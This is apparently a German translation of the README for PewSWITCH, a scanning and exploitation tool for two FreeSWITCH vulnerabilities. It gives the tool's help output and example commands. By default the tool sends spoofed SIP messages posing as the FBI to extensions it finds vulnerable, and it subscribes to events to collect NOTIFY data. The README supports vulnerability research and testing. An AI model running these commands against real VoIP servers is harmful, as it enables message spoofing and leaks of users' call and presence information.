
Ein FreeSWITCH-spezifisches Scanning- und Exploitation-Toolkit für CVE-2021-37624 und CVE-2021-41157.
Ein FreeSWITCH-spezifisches Toolkit zum Scannen und Ausnutzen von CVE-2021-37624 und CVE-2021-41157.
Verwandter Blog: https://0xinfection.github.io/posts/analyzing-freeswitch-vulns/
Die Hilfeanweisung des Tools sieht wie folgt aus:
$ ./pewswitch --help
___ . ____ _ __ __
/ _ \___|\ __/ __/| __(_) /_____/ /
/ ___/ -_) |/|/ /\ \| |/|/ / / __/ __/ _ \
/_/ \__/|__,__/___/|__,__/_/\__/\__/_//_/ v0.1
"where we pew pew pew freeswitch"
Usage of ./pewswitch:
-cve string
Specify a specific CVE to scan. Both vulns are tested by default.
-delay int
Delay in seconds between subsequent requests. (default 0)
-events string
Comma-separated list of events to be subscribed to. All events are monitored by default.
-expires int
Maximum value of the 'Expires' header for SUBSCRIBE requests. (default 60)
-ext-file string
Specify a file containing extensions instead of '-exts'.
-exts string
Comma separated list of extensions to scan.
-msg-file string
Specify a CSV file containing messages to be sent (if found vulnerable to CVE-2021-37624).
-out-dir string
Output directory to write the results to. (default "./pewswitch-results/")
-out-format string
Output format type of the results. Can be either 'json' or 'csv'. (default "json")
-threads int
Number of threads to use while scanning. (default 2)
-user-agent string
Custom user-agent string to use. (default "pewswitch/0.1")
Standardmäßig scannt das Tool nach beiden Schwachstellen. Wenn Sie nach einer bestimmten Schwachstelle suchen möchten, können Sie das Flag -cve verwenden.
Beispiel:
./pewswitch -cve 'cve-2021-37624' -exts 1000 freeserver.voip.com
Um Nebenstellen (Extensions) anzugeben, können Sie eine der folgenden Methoden wählen:
Geben Sie eine durch Kommas getrennte Liste von Nebenstellen über das Argument -exts an.
Beispiel:
./pewswitch -exts 1000,1001 freeserver.voip.com freeserver1.voip.com:5060
Dadurch testet das Tool Kombinationen von Paaren für jede Nebenstelle mit jedem Host. Die zu testenden Endziele im obigen Befehl sind: [email protected], [email protected], [email protected]:5060 und [email protected]:5060.
Geben Sie eine Datei mit Nebenstellen an. Beachten Sie, dass Sie bei Verwendung einer Datei sowohl Benutzer als auch Host angeben müssen. Dies ist besonders nützlich, wenn Sie bestimmte Nebenstellen auf bestimmten Servern testen müssen. Ein Beispiel für eine solche Datei (z.B. extensions-sample.txt) könnte so aussehen:
[email protected]
[email protected]:5060
[email protected]:5660
...
Beispiel:
./pewswitch -ext-file extensions-sample.txt
Beachten Sie, dass, wenn kein Port mit dem Host angegeben wird, standardmäßig Port 5060 als Zielport verwendet wird.
Das Tool kann in zwei verschiedenen Formaten ausgeben, nämlich JSON und CSV. Das Standardausgabeformat ist JSON. Das Ausgabeformat kann mit dem Schalter -out-format geändert werden.
Beispiel:
./pewswitch -exts 1000 -out-format csv freeserver.voip.com
Beispiele für Berichte finden Sie im Format json sowie csv im Verzeichnis ./pewswitch-results/.
Das Zielausgabeverzeichnis kann mit dem Argument -out-dir geändert werden. Standardmäßig ist das Ausgabeverzeichnis ./pewswitch-results/, das während der Ausführung des Tools im aktuellen Arbeitsverzeichnis erstellt wird.
Beispiel:
./pewswitch -ext-file extensions-sample.txt -out-dir /tmp
Es gibt einige zusätzliche paketspezifische Einstellungen im Tool, die die Anpassung von Anfragen während der Schwachstellenvalidierung/-ausnutzung ermöglichen.
Wenn ein Server als anfällig für CVE-2021-37624 befunden wird, wird standardmäßig eine Beispielnachricht vom Namen FBI und der Nummer 022-324-3000 an die Zielnebensstelle gesendet. Der Inhalt der Nachricht sieht wie folgt aus: FBI here. Open your door!
Dieses Verhalten kann mit dem Argument -msg-file geändert werden. Dieses akzeptiert eine CSV-Datei, die den Namen des Absenders, die Telefonnummer und schließlich den Nachrichteninhalt enthält. Ein Beispiel für eine solche Datei ist messages-sample.csv.
sender_name,sender_phone,message
FBI,022-324-3000,FBI here. Open your door!
0xInfection,000-000-0000,Hi. Just confirming the vulnerability.
SPAMMY SALESMAN,BAD-GUY-9999,BUY MY STUFF!
Beispiel:
./pewswitch -cve 'cve-2021-27624' -msg-file messages-sample.csv -exts 1000 freeserver.voip.com
Standardmäßig sendet das Tool SUBSCRIBE-Anfragen mit einem Expires-Header von 60 Sekunden. Während dieses Zeitraums hört das Tool auf NOTIFY-Nachrichten vom Server. Der Wert kann mit dem Flag -expires geändert werden.
Beispiel:
./pewswitch -expires 600 -ext-file extensions-sample.txt
Das Tool überwacht auch NOTIFY-Nachrichten, indem es sich für alle Ereignisse anmeldet. Eine Liste aller Ereignisse finden Sie unten:
talkholdconferenceas-feature-eventdialogline-seizecall-infoslainclude-session-descriptionpresencepresence.winfomessage-summaryreferDieses Verhalten kann mit dem Flag -events geändert werden, das eine durch Kommas getrennte Liste der zu überwachenden Ereignisse akzeptiert. Beispiel:
./pewswitch -cve 'cve-2021-41157' -events message-summary,presence -exts 1000,1002 freeserver.voip.com
Sie können die vorgefertigten Binärdateien aus dem Abschnitt Releases verwenden. Oder wenn Sie den Code selbst kompilieren möchten, benötigen Sie Go > 1.13. Um das Tool zu erstellen, führen Sie go build aus, das eine ausführbare Datei erstellt.
Das Tool ist unter der MIT-Lizenz verfügbar. Sie können damit machen, was Sie wollen. :)
Derzeit ist PewSWITCH in Version v0.1.
Neue Anfragen und Funktionen? Erstellen Sie gerne ein Issue oder einen Pull Request.
Wenn Sie etwas zu besprechen haben, können Sie mich über Twitter/E-Mail in meinem Profil erreichen.
Erstellt mit ♡ von Pinaki.